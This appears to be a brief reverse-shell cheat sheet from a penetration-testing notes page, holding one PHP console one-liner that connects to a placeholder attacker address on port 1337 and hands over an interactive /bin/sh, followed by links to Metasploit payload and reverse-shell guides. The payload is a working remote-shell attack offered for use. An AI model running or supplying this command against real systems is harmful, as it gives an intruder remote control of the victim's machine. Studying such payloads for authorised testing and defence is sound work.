Reverse Shell Payloads

Cheat Sheet

Php reverse shell on console

php -r '$sock=fsockopen("<YOUR OP>",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

Other Resources

NetSec's Creating Metasploit Payloads: https://netsec.ws/?p=331

Cybsploit's Creating payloads via metasploit https://cybsploit.com/2019/08/12/how-to-generate-a-payload-for-metasploit-ZnlONTh0b0k0RXRoSlpFeDk5cUpqUT09

Creating a Reverse shell to remotely execute commands https://cybsploit.com/2019/08/28/how-to-create-a-reverse-shell-to-remotely-execute-commands-cXRxRXc1djFLNktKcU5CV0x5NVloUT09

Pentestmonkey's Reverse Shell Cheat Shewet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Last updated